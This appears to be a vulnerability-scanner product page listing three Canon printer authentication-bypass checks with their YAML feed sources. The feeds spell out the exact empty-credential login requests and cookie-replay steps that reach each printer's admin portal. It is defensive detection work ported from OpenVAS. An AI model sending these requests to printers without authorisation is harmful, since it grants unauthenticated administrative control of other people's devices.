Canon — 3 vulnerability checks
noctis ships 3 vulnerability checks for Canon, covering 3 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Canon LBP6030w Printer Authentication Bypass
| CVE | CVE-2018-12049 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | auth-bypass — Auth bypass |
| Services | http, https |
| Detection | set_var, tcp_connect, script, match · highest QoD 75 |
| Feed | tests/vulnerabilities/canon/CVE-2018-12049.yaml |
Canon LBP6030w printers accept an empty administrator PIN in the Remote UI. An unauthenticated POST to /checkLogin.cgi (iToken=&i0012=1&i0016=) returns a valid management session cookie; replaying it on GET /portal_top.html reaches the authenticated System Manager portal, so an attacker gains full administrative access without any credentials.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
POST /checkLogin.cgi HTTP/1.0 - Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /portal_top.html HTTP/1.0 - Parses / computes the next value with a Rhai script
- Checks
portal_okfor^true$→ finding QoD 75: Empty-PIN session reached the authenticated System Manager portal (userName">System Manager, >Log Out<, Copyright CANON INC, <title>Re…
References:
Feed source — tests/vulnerabilities/canon/CVE-2018-12049.yaml
# Canon LBP6030w printer authentication bypass (CVE-2018-12049).
#
# The printer's Remote UI accepts an empty administrator PIN: an
# unauthenticated POST to /checkLogin.cgi with the body
# `iToken=&i0012=1&i0016=` (PIN field i0016 left empty) returns a valid
# management session cookie (Set-Cookie: sessid=...). Replaying that cookie on
# GET /portal_top.html yields the authenticated "System Manager" portal,
# granting full administrative access with no credentials.
#
# Detection ported faithfully from OpenVAS/Greenbone NASL
# 2018/canon/gb_canon_printer_lbp6030w_auth_bypass_vuln.nasl (GPL-2.0-only):
# 1. POST /checkLogin.cgi body iToken=&i0012=1&i0016=
# 2. extract Set-Cookie: sessid=<id>
# 3. GET /portal_top.html with that cookie and require all four portal
# markers: userName">System Manager, >Log Out<, Copyright CANON INC,
# and <title>Remote UI: Portal: LBP6030w ...
# The finding keys on the authenticated System Manager portal content reached
# via the empty-PIN session — not on the mere presence of a session cookie.
uid: 0ba26524-11d6-4fad-8dee-b5b6a75689ca
name: "Canon LBP6030w Printer Authentication Bypass (CVE-2018-12049)"
description: |
Canon LBP6030w printers accept an empty administrator PIN in the Remote UI.
An unauthenticated POST to /checkLogin.cgi (iToken=&i0012=1&i0016=) returns a
valid management session cookie; replaying it on GET /portal_top.html reaches
the authenticated System Manager portal, so an attacker gains full
administrative access without any credentials.
cves: [CVE-2018-12049]
cvss: 9.8
severity: critical
confidence_base: 0.30
category: auth-bypass
tags: [canon, printer, access-bypass, auth-bypass, iot]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2018-12049"
- "OpenVAS/Greenbone NASL 2018/canon/gb_canon_printer_lbp6030w_auth_bypass_vuln.nasl (GPL-2.0-only)"
steps:
# Guard: initialise vars referenced later so no step hits an undefined var.
- id: init-vars
action: set_var
var_name: sessid
var_value: ""
- id: portal-ok-init
action: set_var
var_name: portal_ok
var_value: false
# Step 1 — empty-PIN login. tcp_connect sends the verbatim HTTP/1.0 POST so
# the exact NASL body reaches the device and we can read the raw Set-Cookie.
- id: empty-pin-login
action: tcp_connect
port: "{{port}}"
send: "POST /checkLogin.cgi HTTP/1.0\r\nHost: {{target_host}}\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 22\r\n\r\niToken=&i0012=1&i0016="
store_as: login_resp
# Step 2 — extract the issued session id from the Set-Cookie header.
- id: extract-sessid
action: script
code: |
let b = if type_of(login_resp.banner) == "string" { login_resp.banner } else { "" };
let m = eregmatch("Set-Cookie:\\s*sessid=([^;\\r\\n\\s]+)", b);
if m.len() > 1 { m[1] } else { "" }
store_as: sessid
# Step 3 — replay the session on the authenticated portal.
- id: portal-get
action: tcp_connect
port: "{{port}}"
send: "GET /portal_top.html HTTP/1.0\r\nHost: {{target_host}}\r\nCookie: sessid={{sessid}}\r\n\r\n"
store_as: portal_resp
# Step 4 — require ALL FOUR System Manager portal markers (as the NASL does).
- id: check-portal-markers
action: script
code: |
let b = if type_of(portal_resp.banner) == "string" { portal_resp.banner } else { "" };
ereg("userName\">System Manager", b)
&& ereg(">Log Out<", b)
&& ereg(">Copyright CANON INC", b)
&& ereg("<title>Remote UI: Portal: LBP6030w", b)
store_as: portal_ok
- id: confirm-auth-bypass
action: match
source: portal_ok
pattern: "^true$"
on_match:
finding:
confidence_delta: 0.50
qod: 75
evidence: "Empty-PIN session reached the authenticated System Manager portal (userName\">System Manager, >Log Out<, Copyright CANON INC, <title>Remote UI: Portal: LBP6030w) via sessid={{sessid}}"
stop: trueCanon MF210/MF220 Printers Access Bypass
| CVE | CVE-2018-11711 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | auth-bypass — Auth bypass |
| Services | http, https |
| Detection | set_var, tcp_connect, script, match · highest QoD 75 |
| Feed | tests/vulnerabilities/canon/CVE-2018-11711.yaml |
Detects the Canon MF210/MF220 series printer access-bypass vulnerability. A POST to /tryLogin.cgi with empty credentials yields a 303 redirect and a fusion-http-session-id session cookie; that session then unlocks the authenticated administration portal at /portal_top.html without any valid credentials, proving the access bypass (CVE-2018-11711).
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
POST /tryLogin.cgi HTTP/1.0 - Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /portal_top.html HTTP/1.0 - Parses / computes the next value with a Rhai script
- Checks
portal_resp.bannerfor>Device Status<→ finding QoD 75: Empty-credential POST /tryLogin.cgi issued session fusion-http-session-id=…; GET /portal_top.html with it returned the authenticated Canon …
References:
Feed source — tests/vulnerabilities/canon/CVE-2018-11711.yaml
# Canon MF210/MF220 Series Printers Access Bypass — CVE-2018-11711
#
# Canon MF210/MF220 series printers let an unauthenticated attacker reach the
# device administration portal by abusing the login handler. The real exploit
# is a two-step flow, faithfully ported from the OpenVAS/Greenbone NVT:
#
# 1. POST /tryLogin.cgi with body "loginM=&0000=0010&0001=&0002="
# (Content-Type: application/x-www-form-urlencoded). A vulnerable device
# answers "HTTP/1.x 303", a Location: redirect and a Set-Cookie carrying
# fusion-http-session-id=<id> — i.e. it hands out an *authenticated*
# session for empty credentials.
# 2. GET /portal_top.html with "Cookie: fusion-http-session-id=<id>". A
# vulnerable device returns HTTP 200 and the authenticated admin portal,
# recognisable by all five markers: >Log Out<, >Copyright CANON INC,
# >Address Book<, >Cartridge Information< and >Device Status<.
#
# The finding keys on the authenticated portal content reached with the forged
# session — NOT on the session cookie alone. Patched devices still issue a
# fusion-http-session-id cookie on the login page, so a cookie-only check would
# false-positive on them; this feed instead requires the 303 login bypass AND
# the five authenticated-portal markers, so it fires only on a real bypass.
#
# Detection (response analysis, QoD 75).
#
# Ported from OpenVAS/Greenbone NVT 2018/canon/gb_canon_printers_access_bypass_vuln.nasl
# (GPL-2.0-only). Endpoints, method, request body, 303/Location/Set-Cookie
# requirement and the five portal markers are taken from the source plugin —
# nothing invented.
uid: b3d9b7ec-fe08-4278-a181-5b8d43b0b216
name: "Canon MF210/MF220 Printers Access Bypass (CVE-2018-11711)"
description: |
Detects the Canon MF210/MF220 series printer access-bypass vulnerability.
A POST to /tryLogin.cgi with empty credentials yields a 303 redirect and a
fusion-http-session-id session cookie; that session then unlocks the
authenticated administration portal at /portal_top.html without any valid
credentials, proving the access bypass (CVE-2018-11711).
cves: [CVE-2018-11711]
cvss: 9.8
severity: critical
confidence_base: 0.30
category: auth-bypass
tags: [canon, printer, access-bypass, iot]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2018-11711"
- "OpenVAS/Greenbone NASL 2018/canon/gb_canon_printers_access_bypass_vuln.nasl (GPL-2.0-only)"
steps:
# Initialise vars referenced in later conditions (undefined vars throw).
- id: init-cookie
action: set_var
var_name: cookie
var_value: ""
- id: init-login-ok
action: set_var
var_name: login_ok
var_value: false
- id: init-portal-ok
action: set_var
var_name: portal_ok
var_value: false
# Step 1 — POST /tryLogin.cgi with empty credentials. Raw request so the full
# response (status line + Location + Set-Cookie headers) is inspectable.
# tcp_connect auto-wraps TLS when the matched service is https.
- id: try-login
action: tcp_connect
port: "{{port}}"
send: "POST /tryLogin.cgi HTTP/1.0\r\nHost: {{target_host}}\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 29\r\n\r\nloginM=&0000=0010&0001=&0002="
store_as: login_resp
# Require the login-bypass signature: 303 status, a Location header and a
# fusion-http-session-id Set-Cookie — exactly the NASL's acceptance test.
- id: validate-login
action: script
store_as: login_ok
code: |
let b = login_resp.banner;
ereg("HTTP/1\\.[01] 303", b)
&& ereg("Location:", b)
&& ereg("Set-Cookie:\\s*fusion-http-session-id=", b)
# Extract the issued session id (group 1) for the authenticated GET.
- id: extract-cookie
action: script
condition: "login_ok == true"
store_as: cookie
code: |
let m = eregmatch("fusion-http-session-id=([^;\\s]+)", login_resp.banner);
if m.len() > 1 { m[1] } else { "" }
# Step 2 — GET /portal_top.html carrying the forged session cookie.
- id: fetch-portal
action: tcp_connect
port: "{{port}}"
condition: "login_ok == true && cookie != \"\""
send: "GET /portal_top.html HTTP/1.0\r\nHost: {{target_host}}\r\nCookie: fusion-http-session-id={{cookie}}\r\n\r\n"
store_as: portal_resp
# Require HTTP 200 AND all five authenticated-portal markers from the NASL.
- id: validate-portal
action: script
condition: "login_ok == true"
store_as: portal_ok
code: |
let b = portal_resp.banner;
ereg("HTTP/1\\.[01] 200", b)
&& ereg(">Log Out<", b)
&& ereg(">Copyright CANON INC", b)
&& ereg(">Address Book<", b)
&& ereg(">Cartridge Information<", b)
&& ereg(">Device Status<", b)
# Finding keyed on the authenticated portal reached with the forged session.
- id: confirm-bypass
action: match
condition: "portal_ok == true"
source: portal_resp.banner
pattern: ">Device Status<"
on_match:
finding:
confidence_delta: 0.50
qod: 75
evidence: "Empty-credential POST /tryLogin.cgi issued session fusion-http-session-id={{cookie}}; GET /portal_top.html with it returned the authenticated Canon admin portal (>Log Out<, >Copyright CANON INC, >Address Book<, >Cartridge Information<, >Device Status<)."
stop: trueCanon Printers Authentication Bypass
| CVE | CVE-2018-11692 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | auth-bypass — Auth bypass |
| Services | http, https |
| Detection | set_var, tcp_connect, match, script · highest QoD 75 |
| Feed | tests/vulnerabilities/canon/CVE-2018-11692.yaml |
Canon Printers LBP6650, LBP3370, LBP3460 and LBP7550C are prone to an authentication bypass. An unauthenticated POST to /tlogin.cgi (Action=LOGIN, empty user_name) yields an administrative session cookie; requesting the device-management page /frame.cgi?page=DevInfoSetDev with that cookie returns the administrative frameset, granting full control without credentials.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
POST /tlogin.cgi HTTP/1.0 - Checks
login_resp.bannerforSet-Cookie:\s*CookieID=([^;\s]+) - Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /frame.cgi?page=DevInfoSetDev HTTP/1.0 - Checks
dev_resp.bannerforswitch\("DevInfoSetDev"\)→ finding QoD 75: Authentication bypass confirmed: unauthenticated CookieID from /tlogin.cgi reached the Canon device-management page /frame.cgi?page=DevInfo…
References:
Feed source — tests/vulnerabilities/canon/CVE-2018-11692.yaml
# Canon Printers Authentication Bypass (CVE-2018-11692)
#
# Detection ported from OpenVAS/Greenbone NASL
# 2018/canon/gb_canon_printers_auth_bypass.nasl (GPL-2.0-only).
#
# Canon LBP6650, LBP3370, LBP3460 and LBP7550C printers do not enforce the
# Administrator Mode password: an unauthenticated POST to /tlogin.cgi with
# Action=LOGIN and an empty user_name is answered with an administrative
# session cookie (Set-Cookie: CookieID=...). Presenting that cookie to the
# device-management page /frame.cgi?page=DevInfoSetDev returns the management
# frameset, confirming full administrative access without credentials.
#
# The check mirrors the NASL flow exactly and keys the finding on the
# authenticated device-management marker switch("DevInfoSetDev") in the page
# body — NOT on the bare session cookie (a real, non-vulnerable printer still
# issues cookies). The cookie is only used to reach the protected page.
uid: a5f783d4-19b1-451d-919d-6d2663c6a666
name: "Canon Printers Authentication Bypass (CVE-2018-11692)"
description: |
Canon Printers LBP6650, LBP3370, LBP3460 and LBP7550C are prone to an
authentication bypass. An unauthenticated POST to /tlogin.cgi (Action=LOGIN,
empty user_name) yields an administrative session cookie; requesting the
device-management page /frame.cgi?page=DevInfoSetDev with that cookie returns
the administrative frameset, granting full control without credentials.
cves: [CVE-2018-11692]
cvss: 9.8
severity: critical
confidence_base: 0.30
category: auth-bypass
tags: [canon, printer, auth-bypass, iot]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2018-11692"
- "OpenVAS/Greenbone NASL 2018/canon/gb_canon_printers_auth_bypass.nasl (GPL-2.0-only)"
steps:
# Initialise the flag so the condition on later steps never throws on an
# undefined variable (CLAUDE.md: undefined var in condition throws → step skipped).
- id: init-vars
action: set_var
var_name: cookie_found
var_value: false
# Step 1 — unauthenticated admin login. POST /tlogin.cgi with the exact NASL
# body (login_mode=user, empty admin_password/user_name). A vulnerable printer
# answers with Set-Cookie: CookieID=... (header inspection requires the raw
# response → tcp_connect + resp.banner). Content-Length is the exact byte count
# of the body string (84).
- id: login-probe
action: tcp_connect
port: "{{port}}"
send: "POST /tlogin.cgi HTTP/1.0\r\nHost: {{target_host}}\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 84\r\n\r\nAction=LOGIN&ErrDetail=&Lang=1&Language=1&login_mode=user&admin_password=&user_name="
store_as: login_resp
# Step 2 — extract the CookieID value from the Set-Cookie header. The capture
# group holds the session id; on_match flags that a cookie was issued.
- id: cookie-extract
action: match
source: login_resp.banner
pattern: "Set-Cookie:\\s*CookieID=([^;\\s]+)"
store_as: cookie_match
on_match:
set_vars:
cookie_found: true
# Step 3 — pull the capture group into a flat string variable for templating
# into the next request's Cookie header (must run before the GET).
- id: cookie-store
action: script
code: 'cookie_match["captures"][0]'
store_as: cookie_id
condition: "cookie_found == true"
# Step 4 — request the protected device-management page with the stolen cookie.
# The NASL replays the session as "CookieID=<id>; Login=11" (Login=11 marks the
# administrative session that unlocks the management frames).
- id: devinfo-probe
action: tcp_connect
port: "{{port}}"
send: "GET /frame.cgi?page=DevInfoSetDev HTTP/1.0\r\nHost: {{target_host}}\r\nCookie: CookieID={{cookie_id}}; Login=11\r\n\r\n"
store_as: dev_resp
condition: "cookie_found == true"
# Step 5 — confirm administrative access on the authenticated-page marker
# switch("DevInfoSetDev") emitted by the Canon management frameset. This is the
# real exploit signal: a patched printer serves a login page here instead.
- id: confirm-devinfo
action: match
source: dev_resp.banner
pattern: 'switch\("DevInfoSetDev"\)'
condition: "cookie_found == true"
on_match:
finding:
confidence_delta: 0.50
qod: 75
evidence: "Authentication bypass confirmed: unauthenticated CookieID from /tlogin.cgi reached the Canon device-management page /frame.cgi?page=DevInfoSetDev (marker switch(\"DevInfoSetDev\") present)."
stop: true